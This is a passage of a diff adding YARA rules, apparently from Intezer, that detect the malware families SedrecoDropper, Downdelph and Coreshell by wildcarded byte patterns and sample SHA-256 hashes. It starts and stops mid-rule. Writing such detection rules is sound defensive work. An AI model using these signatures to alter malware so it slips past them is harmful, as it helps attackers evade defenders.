+		$block_8 = { 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_9 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "7ea33696c91761e95697549e0b0f84db2cf4033216cd16c3264b10daa31f598c" or
+		hash.sha256(0, filesize) == "430cbf950f9cea3f77374145f488a104f4ab664edca448effacbf2f8ba01b901" or
+		10 of them
+}
+
+rule SedrecoDropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { FF B? ?? ?? ?? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_1 = { 68 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_2 = { 41 ?? ?? ?? 48 ?? ?? 44 ?? ?? 46 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 40 ?? ?? ?? 0F 1F }
+		$block_3 = { 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 8D ?? ?? 5? 6A ?? 6A ?? FF 7? ?? FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 8B ?? 33 ?? F7 ?? 33 ?? 85 ?? 0F 95 ?? 33 ?? 33 ?? 89 ?? ?? 4? 03 ?? 89 ?? ?? 3B }
+		$block_6 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 5? 6A ?? 6A ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { 8B ?? 33 ?? F7 ?? ?? 33 ?? 85 ?? 0F 95 ?? 33 ?? 89 ?? ?? 33 ?? 8D ?? ?? ?? EB }
+		$block_8 = { 4C ?? ?? ?? 41 ?? ?? ?? D1 ?? 49 ?? ?? ?? FF C? 8B ?? 8D ?? ?? 0F 1F }
+		$block_9 = { 8D ?? ?? ?? ?? ?? 5? 5? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_10 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_11 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 03 ?? 0F 1F ?? 44 ?? ?? 75 }
+		$block_13 = { 6A ?? 6A ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 6A ?? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_15 = { 33 ?? 83 ?? ?? 0F 9F ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_16 = { 45 ?? ?? ?? 46 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? 0F 1F }
+		$block_17 = { 0F B6 ?? ?? 01 ?? ?? 0F B6 ?? 01 ?? ?? 83 ?? ?? 4? 75 }
+		$block_18 = { 8D ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 03 ?? 0F 1F }
+		$block_19 = { 8B ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_20 = { E8 ?? ?? ?? ?? 0F B6 ?? 03 ?? 88 ?? ?? FE ?? EB }
+		$block_21 = { BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B ?? 0F 4E ?? EB }
+
+	condition:
+		hash.sha256(0, filesize) == "d403ded7c4acfffe8dc2a3ad8fb848f08388b4c3452104f6970835913d92166c" or
+		hash.sha256(0, filesize) == "fb3a3339e2ba82cb3dcdc43d0e49e7b8a26ced3a587f5ee15a256aee062e6e05" or
+		hash.sha256(0, filesize) == "2c81023a146d2b5003d2b0c617ebf2eb1501dc6e55fc6326e834f05f5558c0ec" or
+		hash.sha256(0, filesize) == "378ef276eeaa4a29dab46d114710fc14ba0a9f964f6d949bcbc5ed3267579892" or
+		hash.sha256(0, filesize) == "0d260a4ea865773a86b3fc0fe89df92c86289c0266b1dd5ab8e3174839cb94c2" or
+		12 of them
+}
+
+rule Downdelph {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 83 ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 5? 8B ?? 5? 5? 8B ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? 6A ?? 4? 5? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? 8D ?? ?? ?? 5? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? F7 ?? 6A ?? 03 ?? 5? 5? E8 ?? ?? ?? ?? 5? FF 7? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 3B ?? 74 }
+		$block_2 = { 5? 8D ?? ?? 33 ?? E8 ?? ?? ?? ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_3 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? BE ?? ?? ?? ?? 8D ?? ?? A5 A5 A4 BE ?? ?? ?? ?? 8D ?? ?? A5 66 ?? 33 }
+		$block_4 = { FF 7? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 66 ?? ?? ?? C6 ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_5 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? 5? BE ?? ?? ?? ?? 8D ?? ?? A5 A5 A4 BE ?? ?? ?? ?? 8D ?? ?? A5 66 ?? 33 }
+		$block_6 = { 6A ?? 6A ?? FF 3? E8 ?? ?? ?? ?? FF 3? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_7 = { 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? 4? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 0F BE ?? ?? ?? 6A ?? 99 5? F7 ?? 32 ?? ?? ?? 4? 88 ?? ?? ?? 83 ?? ?? 72 }
+		$block_9 = { FF 7? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "cfc60d5db3bfb4ec462d5e4bd5222f04d7383d2c1aec1dc2a23e3c74a166a93d" or
+		hash.sha256(0, filesize) == "79a508ba42247ddf92accbf5987b1ffc7ba20cd11806d332979d8a8fe85abb04" or
+		hash.sha256(0, filesize) == "3e23201e6c52470e73a92af2ded12e6a5d1ad39538f41e762ca1c4b8d93c6d8d" or
+		hash.sha256(0, filesize) == "6ccc375923a00571dffca613a036f77a9fc1ee22d1fddffb90ab7adfbb6b75f1" or
+		hash.sha256(0, filesize) == "522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805" or
+		10 of them
+}
+
+rule Coreshell {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 6A ?? 6A ?? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_1 = { A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F AF ?? 69 ?? ?? ?? ?? ?? 2D ?? ?? ?? ?? 0F AF ?? 39 ?? 0F 84 }
+		$block_2 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 8D ?? ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_5 = { 5? E8 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 8D ?? ?? 5? 5? 89 ?? ?? FF 5? ?? 85 ?? 0F 85 }
+		$block_6 = { 68 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_7 = { FF B? ?? ?? ?? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_10 = { 8B ?? 33 ?? F7 ?? ?? ?? ?? ?? 33 ?? 85 ?? 0F 95 ?? 33 ?? 89 ?? ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? EB }
+		$block_11 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8B ?? ?? ?? 8B ?? ?? ?? 5? 8D ?? ?? ?? 5? 5? 5? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_15 = { 8B ?? ?? ?? ?? ?? 0B ?? 83 ?? ?? 8A ?? ?? 8B ?? ?? 88 ?? ?? 8B ?? ?? 4? 4? 83 ?? ?? 0F 82 }
+		$block_16 = { 8B ?? ?? ?? 8B ?? ?? ?? 5? 8D ?? ?? ?? 5? 5? 5? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_17 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? ?? 4? 80 C? ?? 88 ?? ?? ?? 3B ?? ?? ?? 72 }
+		$block_18 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? C7 ?? ?? ?? ?? ?? ?? 0F 6E ?? ?? 0F 72 ?? ?? 0F 7E ?? ?? EB }
+		$block_19 = { 8D ?? ?? ?? 8D ?? ?? ?? 5? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? FF D? 85 ?? 0F 85 }
+		$block_20 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_21 = { B9 ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? C6 ?? ?? ?? ?? F3 ?? 66 ?? AA 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_22 = { B9 ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? 88 ?? ?? ?? F3 ?? 66 ?? AA 8B ?? ?? ?? 3B ?? 0F 84 }
+		$block_23 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 8B ?? ?? 5? 8B ?? 8B ?? 5? 33 ?? 5? 89 ?? ?? 3B ?? 0F 83 }
+		$block_24 = { 5? 8B ?? 83 ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 8D ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_26 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 4? 83 ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 3B ?? 72 }
+		$block_27 = { B8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 31 ?? F7 ?? 0F AF ?? 01 ?? 89 ?? ?? ?? ?? ?? E9 }
+		$block_28 = { 8B ?? 33 ?? F7 ?? 33 ?? 85 ?? 0F 95 ?? 33 ?? 33 ?? 89 ?? ?? 4? 03 ?? 89 ?? ?? 3B }
+		$block_29 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 4? 80 C? ?? FF 8? ?? ?? ?? ?? 88 ?? ?? 75 }
+		$block_30 = { 8D ?? ?? 5? 6A ?? 6A ?? FF 7? ?? FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8B ?? 33 ?? F7 ?? ?? 33 ?? 5? 85 ?? 0F 95 ?? 33 ?? 89 ?? ?? 33 ?? 8D ?? ?? ?? EB }
+		$block_32 = { 5? 8B ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 6E ?? ?? 0F 72 ?? ?? 0F 7E ?? ?? EB }
+		$block_33 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_34 = { 8D ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 98 ?? 8D ?? ?? ?? 8D ?? ?? 23 }
+		$block_35 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_36 = { 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_37 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_38 = { 8B ?? ?? ?? 33 ?? BE ?? ?? ?? ?? 89 ?? ?? ?? F7 ?? 3B ?? 89 ?? ?? ?? 0F 83 }
+		$block_39 = { 0F B6 ?? ?? ?? D2 ?? 8A ?? ?? ?? D2 ?? 8B ?? ?? 0A ?? 8B ?? ?? FF 4? ?? 88 }
+		$block_40 = { 8B ?? ?? 0F B6 ?? ?? 5? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 5? 85 ?? 5? 74 }
+		$block_41 = { 8B ?? ?? ?? ?? ?? 9A ?? ?? ?? ?? ?? ?? 2F 9D FF D? FF D? 8B ?? 83 ?? ?? 75 }
+		$block_42 = { 8B ?? ?? ?? ?? ?? 4? 15 ?? ?? ?? ?? A6 01 ?? ?? 3A ?? ?? ?? 9E FF D? FF D? }
+		$block_43 = { 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_44 = { 8B ?? ?? 8D ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 6A ?? 6A ?? 6A ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_46 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 4? 83 ?? ?? 66 ?? ?? ?? ?? 3B ?? 72 }
+		$block_47 = { 8B ?? ?? ?? 4? 83 ?? ?? 3B ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 0F 82 }
+		$block_48 = { FF 7? ?? E8 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? C9 C2 }
+		$block_49 = { 0F B6 ?? ?? 88 ?? ?? 8B ?? ?? 0F B6 ?? ?? 30 ?? ?? 8B ?? ?? 4? 3B ?? 7C }
+		$block_50 = { 33 ?? 5? 85 ?? 5? 0F 94 ?? 5? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_51 = { 68 ?? ?? ?? ?? A4 A4 4? 3F DC ?? 15 ?? ?? ?? ?? 5? FF D? 8B ?? 3B ?? 75 }
+		$block_52 = { 5? 8D ?? ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_53 = { 8B ?? ?? 33 ?? 85 ?? 5? 0F 94 ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? C2 }
+		$block_54 = { 8D ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 98 ?? 8D ?? ?? ?? 4? }
+		$block_55 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_56 = { 8B ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F 83 }
+		$block_57 = { 6A ?? 8D ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_58 = { 8B ?? 33 ?? B9 ?? ?? ?? ?? F7 ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? 0F 83 }
+		$block_59 = { 8B ?? 33 ?? BB ?? ?? ?? ?? F7 ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? 0F 83 }
+		$block_60 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_61 = { 80 6? ?? ?? 6A ?? 5? 33 ?? 8D ?? ?? 39 ?? ?? F3 ?? 66 ?? AA 0F 84 }
+		$block_62 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 4? 80 C? ?? 4? 88 ?? ?? 75 }
+		$block_63 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_64 = { 6A ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_65 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_66 = { FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 98 ?? 8D ?? ?? ?? 8D ?? ?? E9 }
+		$block_67 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_68 = { 6A ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 39 ?? ?? 0F 84 }
+		$block_69 = { FF 7? ?? E8 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? C9 C2 }
+		$block_70 = { 6A ?? 6A ?? 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_71 = { 6A ?? 8D ?? ?? ?? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_72 = { 8D ?? ?? 5? 5? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_73 = { C7 ?? ?? ?? ?? ?? ?? 0F 6E ?? ?? 0F 72 ?? ?? 0F 7E ?? ?? EB }
+		$block_74 = { 5? 64 ?? ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? ?? AD 8B ?? ?? E9 }
+		$block_75 = { 8B ?? ?? 03 ?? ?? 33 ?? B9 ?? ?? ?? ?? F7 ?? 39 ?? ?? 0F 83 }
+		$block_76 = { FF 1? ?? ?? ?? ?? 0F B6 ?? ?? 03 ?? ?? 8B ?? ?? 88 ?? ?? EB }
+		$block_77 = { 4? 83 ?? ?? 83 ?? ?? 3B ?? 89 ?? ?? ?? 89 ?? ?? ?? 0F 82 }
+		$block_78 = { B0 ?? 8A ?? ?? ?? ?? ?? F6 ?? ?? 88 ?? ?? ?? ?? ?? 0F 85 }
+		$block_79 = { 8B ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_80 = { FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? 89 ?? ?? 0F 85 }
+		$block_81 = { 6A ?? 6A ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_82 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 81 3? ?? ?? ?? ?? 0F 85 }
+		$block_83 = { 33 ?? 83 ?? ?? 0F 9F ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_84 = { 8B ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_85 = { 8B ?? ?? 2D ?? ?? ?? ?? 89 ?? ?? 3D ?? ?? ?? ?? 0F 87 }
+		$block_86 = { 81 E? ?? ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$block_87 = { 33 ?? 5? 85 ?? 5? 5? 0F 94 ?? 5? 81 C? ?? ?? ?? ?? C2 }
+		$block_88 = { 83 ?? ?? ?? 4? 83 ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 82 }
+		$block_89 = { FF 1? ?? ?? ?? ?? 0F B6 ?? 03 ?? 88 ?? ?? FE ?? EB }
+		$block_90 = { 8B ?? ?? 4? 83 ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 82 }
+		$block_91 = { 8B ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_92 = { 8B ?? ?? ?? ?? ?? 5? FF 9? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_93 = { 4? 83 ?? ?? 3B ?? 89 ?? ?? ?? 89 ?? ?? ?? 0F 82 }
+		$block_94 = { 8B ?? ?? ?? ?? ?? 81 3? ?? ?? ?? ?? 0F 95 ?? 88 }
+		$block_95 = { 8B ?? ?? ?? ?? ?? FF D? 3B ?? ?? ?? ?? ?? 0F 86 }
+		$block_96 = { FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? C9 C2 }
+		$block_97 = { E8 ?? ?? ?? ?? 0F B6 ?? 03 ?? 88 ?? ?? FE ?? EB }
+		$block_98 = { 8B ?? ?? 83 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_99 = { BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B ?? 0F 4E ?? EB }
+
+	condition:
+		hash.sha256(0, filesize) == "29cc2e69f65b9ce5fe04eb9b65942b2dabf48e41770f0a49eb698271b99d2787" or
+		hash.sha256(0, filesize) == "5ac044cf6bab6ebfdda66f92d3b420f5f6d4629a535d80e43705ab55f3b03ea0" or
+		hash.sha256(0, filesize) == "31a0906b0d8b07167129e134009dc307c2d92522da5709e52b67d3c5a70adf93" or
+		hash.sha256(0, filesize) == "4f26e4178b078a4be3842e3b86bf5299c7f7ad386a226b4da5a2cca5c9129f6d" or
+		hash.sha256(0, filesize) == "dbfeaebd4e716bf6a0f2518b7edba3dda475f2de7ef70c3ff6399cfee2e47ec0" or
+		hash.sha256(0, filesize) == "ce554d57333bdbccebb5e2e8d16a304947981e48ea2a5cc3d5f4ced7c1f56df3" or
+		hash.sha256(0, filesize) == "e6d09ce32cc62b6f17279204fac1771a6eb35077bb79471115e8dfed2c86cd75" or
+		hash.sha256(0, filesize) == "7f6f9645499f5840b59fb59525343045abf91bc57183aae459dca98dc8216965" or
+		hash.sha256(0, filesize) == "102b0158bcd5a8b64de44d9f765193dd80df1504e398ce52d37b7c8c33f2552a" or
+		hash.sha256(0, filesize) == "d5debe5d88e76a409b9bc3f69a02a7497d333934d66f6aaa30eb22e45b81a9ab" or
+		hash.sha256(0, filesize) == "eb5ab0c73b28d7b7c7e29411609b7686813f3bf629ec3a764bfdf2f9a19b5341" or
+		hash.sha256(0, filesize) == "d54173be095b688016528f18dc97f2d583efcf5ce562ec766afc0b294eb51ac7" or
+		hash.sha256(0, filesize) == "1b3dd8aaafd750aa85185dc52672b26d67d662796847d7cbb01a35b565e74d35" or
+		hash.sha256(0, filesize) == "4af1736b26052d95cbd106ee1a667e2ce3346f78783f1231df19282a5e738348" or
+		hash.sha256(0, filesize) == "c8087186a215553d2f95c68c03398e17e67517553f6e9a8adc906faa51bce946" or
+		hash.sha256(0, filesize) == "7edeedea096e890d59ed8435db6760dc7fa4d55f9d039fefd473ba1e43ba5838" or
+		hash.sha256(0, filesize) == "7695f20315f84bb1d940149b17dd58383210ea3498450b45fefa22a450e79683" or
+		hash.sha256(0, filesize) == "4536650c9c5e5e1bb57d9bedf7f9a543d6f09addf857f0d802fb64e437b6844a" or
+		hash.sha256(0, filesize) == "e917166adf6e1135444f327d8fff6ec6c6a8606d65dda4e24c2f416d23b69d45" or
+		hash.sha256(0, filesize) == "6cd30c85dd8a64ca529c6eab98a757fb326de639a39b597414d5340285ba91c6" or
+		hash.sha256(0, filesize) == "9392776d6d8e697468ab671b43dce2b7baf97057b53bd3517ecd77a081eff67d" or
+		hash.sha256(0, filesize) == "1fa3e580eabfcf7ffc8f59d96ee0d6b4ab96a7a33ab73558e454d7ce79147c41" or
+		hash.sha256(0, filesize) == "51dae85f5971dbdeb601c974350b80ec1104f304f08893d80e24a52279e1edc7" or
+		hash.sha256(0, filesize) == "744f2a1e1a62dff2a8d5bd273304a4d21ee37a3c9b0bdcffeeca50374bd10a39" or
+		hash.sha256(0, filesize) == "d58f2a799552aff8358e9c63a4345ea971b27edd14b8eac825db30a8321d1a7a" or
+		hash.sha256(0, filesize) == "f6d107a65479bb5e8a6d885739ae4c2dcc46e9b468e5d8f388dadfc7f57719fc" or
+		hash.sha256(0, filesize) == "69e9fd2edc1b752117c1d864b18cfa0cca6443825d909ef483a3664f851f5bc8" or
+		hash.sha256(0, filesize) == "4a9efdfa479c8092fefee182eb7d285de23340e29e6966f1a7302a76503799a2" or
